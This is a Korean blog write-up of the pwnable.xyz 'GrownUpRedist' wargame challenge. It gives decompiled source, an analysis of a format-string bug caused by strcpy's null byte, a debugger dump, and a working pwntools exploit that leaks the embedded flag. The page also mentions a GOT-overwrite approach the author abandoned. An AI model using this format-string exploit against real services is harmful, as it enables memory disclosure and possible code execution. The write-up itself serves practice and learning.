소스코드
unsigned int setup()
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
signal(14, handler);
qword_601160 = &byte_601168;
byte_601168 = '%';
byte_601169 = 's';
byte_60116A = '\n';
return alarm(0x3Cu);
}
void __noreturn handler()
{
exit(1);
}
int __fastcall main(int argc, const char **argv, const char **envp)
{
char *src; // [rsp+8h] [rbp-28h]
__int64 buf[4]; // [rsp+10h] [rbp-20h] BYREF
buf[3] = __readfsqword(0x28u);
(setup)(argc, argv, envp);
buf[0] = 0LL;
buf[1] = 0LL;
printf("Are you 18 years or older? [y/N]: ");
*(buf + (read(0, buf, 16uLL) - 1)) = 0;
if ( LOBYTE(buf[0]) != 121 && LOBYTE(buf[0]) != 89 )
return 0;
src = malloc(0x84uLL);
printf("Name: ");
read(0, src, 0x80uLL);
strcpy(usr, src);
printf("Welcome ");
printf(qword_601160, usr);
return 0;
}
분석
메인함수에는 16바이트를 읽고 가장 하위바이트가 y/N 인지 검사하고 y면 아래 로직을 실행시킨다.
유저로부터 src에 0x80바이트를 입력받고 usr에 복사한다.
그리고 qword_601160 을 포맷스트링으로 printf 함수를 호출한다.
누가 봐도 포맷스트링버그가 터질 거같이 생겼다 그래서 0x80 바이트를 꽉 채워서 보내보면
pwndbg> x/20gx 0x6010e0
0x6010e0 <usr>: 0x4141414141414141 0x4141414141414141
0x6010f0 <usr+16>: 0x4141414141414141 0x4141414141414141
0x601100 <usr+32>: 0x4141414141414141 0x4141414141414141
0x601110 <usr+48>: 0x4141414141414141 0x4141414141414141
0x601120 <usr+64>: 0x4141414141414141 0x4141414141414141
0x601130 <usr+80>: 0x4141414141414141 0x4141414141414141
0x601140 <usr+96>: 0x4141414141414141 0x4141414141414141
0x601150 <usr+112>: 0x4141414141414141 0x4141414141414141
0x601160 <usr+128>: 0x0000000000601100 0x00000000000a7325
0x601170: 0x0000000000000000 0x0000000000000000
pwndbg>
strcpy에 의해서 널바이트까지 복사되어 원래 포맷스트링이 가리켜야 하는 0x601168이 아닌 0x601100을 가리키고 있는 것을 확인할 수 있다.
그래서 usr+32 바이트부터 포맷스트링으로 인식해서 FSB가 발생한다.
1번 메뉴로 스택에 원하는 값을 남길 수 있고 그걸로 alarm 핸들러 함수가 호출하는 exit got를 원가젯으로 덮어 쉘을 따려고 했으나 로컬 스택과 리모트 스택에 상황이 너무 달라서 포기했다.
그냥 분석 도중 바이너리에 그냥 플래그가 박혀있는 거 보고 스택에 주소를 남긴 뒤 %s로 릭했다.
exp.py
from pwn import *
#p = process('./GrownUpRedist')
p = remote("svc.pwnable.xyz",30004)
e = ELF('./GrownUpRedist')
payload = b"y"+b"\x00"*7+p64(e.symbols['flag'])
p.sendafter(b'[y/N]: ', payload)
payload = b"A"*32
payload += b"%9$s"
payload = payload.rjust(0x80,b"A")
p.sendlineafter(b'Name: ',payload)
p.interactive()
'Wargame' 카테고리의 다른 글
[pwnable.xyz] xor (0) | 2025.02.04 |
---|---|
[pwnable.xyz] note (0) | 2025.02.04 |
[pwnable.xyz] misalignment (0) | 2025.02.04 |
[pwnable.xyz] add (0) | 2025.02.04 |
[pwnable.xyz] sub (0) | 2025.02.04 |